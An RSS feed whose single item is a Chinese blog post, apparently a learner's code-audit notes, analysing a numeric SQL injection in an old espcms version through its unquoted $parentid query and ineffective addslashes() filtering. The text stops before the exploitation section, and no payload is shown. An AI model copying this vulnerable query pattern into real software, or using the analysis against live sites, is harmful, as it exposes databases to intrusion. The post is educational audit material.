<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>6xian</title>
    <description>logging what I learn.. </description>
    <link>https://6xian.github.io/</link>
    <atom:link href="https://6xian.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Mon, 30 Apr 2018 08:01:47 +0000</pubDate>
    <lastBuildDate>Mon, 30 Apr 2018 08:01:47 +0000</lastBuildDate>
    <generator>Jekyll v3.7.3</generator>
    
      <item>
        <title>代码审计入门笔记—分析一个旧版本 espcms SQL 注入漏洞</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#代码审计的一些认识&quot; id=&quot;markdown-toc-代码审计的一些认识&quot;&gt;代码审计的一些认识&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#0x01-代码审计概念&quot; id=&quot;markdown-toc-0x01-代码审计概念&quot;&gt;0x01 代码审计概念&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#0x02-代码审计思路&quot; id=&quot;markdown-toc-0x02-代码审计思路&quot;&gt;0x02 代码审计思路&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#0x03-php-代码审计需要掌握的知识&quot; id=&quot;markdown-toc-0x03-php-代码审计需要掌握的知识&quot;&gt;0x03 PHP 代码审计需要掌握的知识&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#espcms-sql-注入漏洞分析和利用&quot; id=&quot;markdown-toc-espcms-sql-注入漏洞分析和利用&quot;&gt;espcms SQL 注入漏洞分析和利用&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#0x01--靶机环境&quot; id=&quot;markdown-toc-0x01--靶机环境&quot;&gt;0x01  靶机环境&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#0x02-漏洞原理&quot; id=&quot;markdown-toc-0x02-漏洞原理&quot;&gt;0x02 漏洞原理&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#0x03-漏洞触发&quot; id=&quot;markdown-toc-0x03-漏洞触发&quot;&gt;0x03 漏洞触发&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#0x04-漏洞利用&quot; id=&quot;markdown-toc-0x04-漏洞利用&quot;&gt;0x04 漏洞利用&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#总结&quot; id=&quot;markdown-toc-总结&quot;&gt;总结&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#参考&quot; id=&quot;markdown-toc-参考&quot;&gt;参考&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

本文想投稿“信安之路”公众号，未通过审核，记录在自己的博客。

最近在读《代码审计：企业级 Web 代码安全架构》，作者是尹毅。

我的想法是，精读这本书，从而入门 PHP 代码审计，能够利用工具检测一些轻量级 CMS 的漏洞，分析代码逻辑，理解漏洞原理，尝试编写 POC 和 Paper。学习过程中做好笔记，举一反三，总结提高。

笔记主要记录漏洞的形成原理和利用方法，这会比较难，但只有这样才能提高，希望自己能够坚持这个原则，真正学懂代码审计，也提高逻辑推理和文字表达能力。

本篇笔记记录一个简单的 SQL 注入漏洞的原理、触发和利用的过程。

&lt;h2 id=&quot;代码审计的一些认识&quot;&gt;代码审计的一些认识&lt;/h2&gt;

&lt;h3 id=&quot;0x01-代码审计概念&quot;&gt;0x01 代码审计概念&lt;/h3&gt;

代码审计是指对源代码进行检查，寻找可能引发安全问题的漏洞，并对漏洞进行测试验证的过程。

代码审计需要多方面的技能，要能够理解代码的逻辑、漏洞形成的原理、众多工具的灵活使用。每一次代码审计都是一项系统化的工程。

&lt;h3 id=&quot;0x02-代码审计思路&quot;&gt;0x02 代码审计思路&lt;/h3&gt;

常见的代码审计思路包括：

&lt;ul&gt;
  &lt;li&gt;根据敏感函数或关键字回溯参数传递过程&lt;/li&gt;
  &lt;li&gt;查找可控变量，正向追踪变量传递过程&lt;/li&gt;
  &lt;li&gt;寻找敏感功能点，通读功能点代码&lt;/li&gt;
  &lt;li&gt;直接通读全文代码&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;0x03-php-代码审计需要掌握的知识&quot;&gt;0x03 PHP 代码审计需要掌握的知识&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;PHP 编程基础&lt;/li&gt;
  &lt;li&gt;PHP 核心配置和危险函数&lt;/li&gt;
  &lt;li&gt;HTML 和 JavaScript 等 Web 前端编程基础&lt;/li&gt;
  &lt;li&gt;MySQL 常用函数和 SQL 语句&lt;/li&gt;
  &lt;li&gt;SQL 注入漏洞原理，还有 XSS、文件包含、命令执行等漏洞原理&lt;/li&gt;
  &lt;li&gt;靶机环境准备&lt;/li&gt;
  &lt;li&gt;工具的运用。包括 Seay 自动化代码审计、phpstudy 自动化构建 PHP + MySQL 开发环境、Sublime Text 编辑等工具的运用。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;espcms-sql-注入漏洞分析和利用&quot;&gt;espcms SQL 注入漏洞分析和利用&lt;/h2&gt;

&lt;h3 id=&quot;0x01--靶机环境&quot;&gt;0x01  靶机环境&lt;/h3&gt;

用 phpStudy 搭建 PHP 和 MySQL 环境，安装 espcms。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;服务器解译引擎
版本：Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9

PHP
版本：5.3.29

MySQL
版本：5.5.53
用户：root
口令：root
数据库：espcms_v5

espcms
版本：V5.9.14.08.28
url：http://localhost/espcms/
管理员：admin
口令：qwe123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;0x02-漏洞原理&quot;&gt;0x02 漏洞原理&lt;/h3&gt;

用作者的开源代码审计工具 Seay 来完成自动审计，看看能发现什么。在 Seay 中，新建项目，自动审计，并将结果生成报告。

&lt;!-- ![1524122877177](attaches/1524122615876.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524122615876.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;blockquote&gt;
  补充说明下我使用的工具。

  我用 Sublime Text 3 和 Notepad++ 来辅助分析。对于 PHP 语言，Sublime 可以跳转到函数定义代码(&lt;code class=&quot;highlighter-rouge&quot;&gt;F12&lt;/code&gt;)，Jump Back(&lt;code class=&quot;highlighter-rouge&quot;&gt;Alt+-&lt;/code&gt;)，Jump Forward(&lt;code class=&quot;highlighter-rouge&quot;&gt;Alt+Shift+-&lt;/code&gt;)。Notepad++ 可以查看函数列表。两个工具都能打开文件夹，以目录树的方式查看文件，都支持文件夹搜索。这样可以提高分析速度。

  Seay 系统的自动审计功能，是利用正则匹配的方式，来找出代码中敏感函数或 SQL 语句关键字，并判断变量是否符合常见漏洞的触发模式，比如 SQL 语句的条件参数是否有引号等，来判断是否存在漏洞。Seay 系统有一套正则匹配的规则，并且能自己添加规则，这套规则也是学习的重点。
&lt;/blockquote&gt;

下面对第 28 条结果进行分析。

&lt;!-- ![1524122966676](attaches/1524122966676.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524122966676.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;28	
SQL语句select中条件变量无单引号保护，可能存在SQL注入漏洞	
/adminsoft/control/citylist.php	
$sql = &quot;select * from $db_table where parentid=$parentid&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

即 &lt;code class=&quot;highlighter-rouge&quot;&gt;where&lt;/code&gt; 里的条件变量 &lt;code class=&quot;highlighter-rouge&quot;&gt;$parentid&lt;/code&gt; 没有用引号进行保护，如果没有对变量进行很好的过滤检查的话，可能存在 &lt;code class=&quot;highlighter-rouge&quot;&gt;SQL 注入&lt;/code&gt; 漏洞风险。

定位 &lt;code class=&quot;highlighter-rouge&quot;&gt;citylist.php&lt;/code&gt; 文件的关键代码。

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fun&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'parentid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'R'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;select * from &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$db_table&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; where parentid=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$rs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;$parentid&lt;/code&gt; 变量在 &lt;code class=&quot;highlighter-rouge&quot;&gt;oncitylist()&lt;/code&gt; 函数中， 是 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept('parentid', 'R')&lt;/code&gt; 函数的返回值。由 &lt;code class=&quot;highlighter-rouge&quot;&gt;$parentid = empty($parentid) ? 1 : $parentid;&lt;/code&gt; 可以看出 &lt;code class=&quot;highlighter-rouge&quot;&gt;$parentid&lt;/code&gt; 变量接收的是数值，可能存在数值型注入漏洞。

知道了变量的传递过程后，我们跟进 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept()&lt;/code&gt; 函数。在 Sublime 里 &lt;code class=&quot;highlighter-rouge&quot;&gt;F12&lt;/code&gt;，选择 &lt;code class=&quot;highlighter-rouge&quot;&gt;public/class_function.php()&lt;/code&gt; 文件，定位到 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept()&lt;/code&gt; 函数。

&lt;!-- ![1524124926143](attaches/1524124926143.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2018-04-22-codes-audit-basic-espcms-numeric-sqli/1524124926143.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'R'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$htmlcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$rehtml&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'R'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
					&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
				&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

		&lt;span class=&quot;nv&quot;&gt;$putvalue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;daddslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$htmlcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rehtml&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;preg_htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$putvalue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;htmldecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$putvalue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$putvalue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

根据传入的参数 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept('parentid', 'R')&lt;/code&gt;， 来详细分析下 &lt;code class=&quot;highlighter-rouge&quot;&gt;accept()&lt;/code&gt; 的返回值是什么。

&lt;strong&gt;先来分析下 &lt;code class=&quot;highlighter-rouge&quot;&gt;$var&lt;/code&gt; 变量的值&lt;/strong&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;$var&lt;/code&gt; 变量赋值的逻辑是，先赋值 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET&lt;/code&gt; 数组， 判断 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET[parentid]&lt;/code&gt; 是否为空，如果为空就赋值 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_POST&lt;/code&gt; 数组。 即，如果 URL 地址有 parentid 参数的话，就取&lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET&lt;/code&gt;，否则取 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_PUT&lt;/code&gt;。

&lt;blockquote&gt;
  解释下几个 PHP 超全局变量，&lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET&lt;/code&gt; 数组存储的是 GET 方式提交的数据，一般是 URL 地址的变量键值对，&lt;code class=&quot;highlighter-rouge&quot;&gt;$_POST&lt;/code&gt; 数组存储的是 POST 方式提交的数据，一般是页面表单的变量键值对。&lt;code class=&quot;highlighter-rouge&quot;&gt;$_REQUEST&lt;/code&gt; 数组，包含了 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;$_POST&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;$_COOKIE&lt;/code&gt; 的值。
&lt;/blockquote&gt;

&lt;strong&gt;接下来分析下 &lt;code class=&quot;highlighter-rouge&quot;&gt;$putvalue&lt;/code&gt; 变量的值&lt;/strong&gt;，用 &lt;code class=&quot;highlighter-rouge&quot;&gt;daddslashes()&lt;/code&gt; 函数对 &lt;code class=&quot;highlighter-rouge&quot;&gt;$var[parentid]&lt;/code&gt; 进行转义处理，将字符串里的单引号（&lt;code class=&quot;highlighter-rouge&quot;&gt;'&lt;/code&gt;）、双引号（&lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;&lt;/code&gt;）、反斜线（&lt;code class=&quot;highlighter-rouge&quot;&gt;\&lt;/code&gt;）、NUL（NULL 字符）等进行转义，即在这些字符前加上反斜线（&lt;code class=&quot;highlighter-rouge&quot;&gt;\&lt;/code&gt;）。要注意的是，&lt;code class=&quot;highlighter-rouge&quot;&gt;addslashes()&lt;/code&gt; 函数只是转义上述特殊字符，返回转义后的字符串，如果传入的参数是数值，则直接返回该数值。

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;daddslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$force&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;get_magic_quotes_gpc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$force&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
					&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;addslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$strip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;stripslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;addslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$strip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;stripslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// addslashes() 的简单测试
// 疑问：PHP 手册里说明，addslashes() 函数是在(PHP 4, PHP 5, PHP 7)版本启用。
// 但是在 (PHP 3) 版本里，为什么也可以正常执行？
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;', \, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;print_r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;addslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 输出 \', \\, \&quot;
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;print_r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;addslashes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$parentid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 输出 1
